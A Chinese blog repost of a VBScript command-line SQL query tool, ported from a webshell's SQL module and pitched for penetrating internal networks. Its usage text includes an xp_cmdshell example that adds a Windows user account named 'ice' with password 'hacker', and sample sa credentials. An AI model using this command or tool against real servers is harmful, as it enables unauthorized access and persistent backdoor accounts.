vbs版的sql查询分析器
- 发表于
- 周边
该有的功能都有了
来源:vbs小铺
花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒 服,不过能用,可以用在dos下了,渗透内网时估计你用得着。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 |
if (lcase(right(wscript.fullname,11))="wscript.exe") then echo "Execute it under the cmd.exe Plz! Thx." echo "code by lcx" wscript.quit end If if wscript.arguments.count<1 then echo "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;" echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>" echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34) echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1 echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1 echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1 end If Sub chkErr(Err) If Err Then echo "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlf Err.Clear wscript.quit End If End Sub Sub echo(str) wscript.echo str End Sub Function fixNull(str) If IsNull(str) Then str = " " End If fixNull = str End Function Sub showErr(str) Dim i, arrayStr arrayStr = Split(str, "$$") echo "出错信息:"&vbcrlf For i = 0 To UBound(arrayStr) echo (i + 1) & ". " & arrayStr(i) & " " Next echo vbcrlf wscript.quit End Sub Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem 下面是程序模块选择部分 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=- PageMsDataBase() Sub pageMsDataBase() Dim theAct, sqlStr theAct = Wscript.Arguments(0) sqlStr = Wscript.Arguments(1) Select Case theAct Case "showTables" showTables() Case "query" showQuery() End Select End Sub Sub showTables() Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr sqlStr = Wscript.Arguments(1) If LCase(Left(sqlStr, 4)) = "sql:" Then connStr = Mid(sqlStr, 5) Else connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set conn = CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr = getTableList(conn, sqlStr, rsTable) echo tablesStr & "=================================================" Do Until rsTable.Eof Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value)) echo rsTable("Table_Name") &vbcrlf Do Until rsColumn.Eof echo "字段名:" & rsColumn("Column_Name")&vbclrf echo "类型:" & getDataType(rsColumn("Data_Type")) & vbclrf echo "大小:" & rsColumn("Character_Maximum_Length") & vbclrf echo "精度:" & rsColumn("Numeric_Precision") & vbclrf echo "允许为空:" & rsColumn("Is_Nullable") & vbclrf echo "默认值:" & rsColumn("Column_Default") & vbclrf&vbclrf rsColumn.MoveNext Loop rsTable.MoveNext echo vbcrlf Loop echo "===============================================================" conn.Close Set conn = Nothing Set rsTable = Nothing Set rsColumn = Nothing End Sub Sub showQuery() Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable sqlStr = Wscript.Arguments(1) theTable = Wscript.Arguments(2) sql=Wscript.Arguments(3) page=Wscript.Arguments(4) If Not IsNumeric(page) or page = "" Then page = 1 End If If LCase(Left(sqlStr, 4)) = "sql:" Then connStr = Mid(sqlStr, 5) Else connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set rs = CreateObject("Adodb.RecordSet") Set conn = CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr = getTableList(conn, sqlStr, rsTable) echo "数据库表结构查看:" echo tablesStr & "========================================================" echo ">SQL命令执行及查看<:"&vbcrlf If sql <> "" And Left(LCase(sql), 7) = "select " Then rs.Open sql, conn, 1, 1 chkErr(Err) rs.PageSize = 20 If Not rs.Eof Then rs.AbsolutePage = page End If If rs.Fields.Count>0 Then echo "SQL操作 - 执行结果"&vbcrlf echo "===================="&theTable&"列名如下========================================" For j = 0 To rs.Fields.Count-1 echo rs.Fields(j).Name & vbcrlf Next For i = 1 To 20 If rs.Eof Then Exit For End If For j = 0 To rs.Fields.Count-1 echo fixNull(rs(j))& vbcrlf Next rs.MoveNext Next End If echo "=================================================================" echo " 共有"&rs.Fields.Count&"列" & vbcrlf For i = 1 To rs.PageCount page=i Next echo " 共有" & page & "页" rs.Close Else If sql <> "" Then conn.Execute(sql) chkErr(Err) echo "执行完毕!"&vbcrlf End If End If conn.Close Set rs = Nothing Set conn = Nothing Set rsTable = Nothing End Sub Function getDataType(typeId) Select Case typeId Case 130 getDataType = "文本" Case 2 getDataType = "整型" Case 3 getDataType = "长整型" Case 7 getDataType = "日期/时间" Case 5 getDataType = "双精度型" Case 11 getDataType = "是/否" Case 128 getDataType = "OLE 对象" Case Else getDataType = typeId End Select End Function Function getTableList(conn, sqlStr, rsTable) Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table")) echo "存在以下表名:" Do Until rsTable.Eof getTableList = getTableList & "["& rsTable("Table_Name") & "]"&vbcrlf rsTable.MoveNext Loop rsTable.MoveFirst End Function |
原文连接:vbs版的sql查询分析器
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。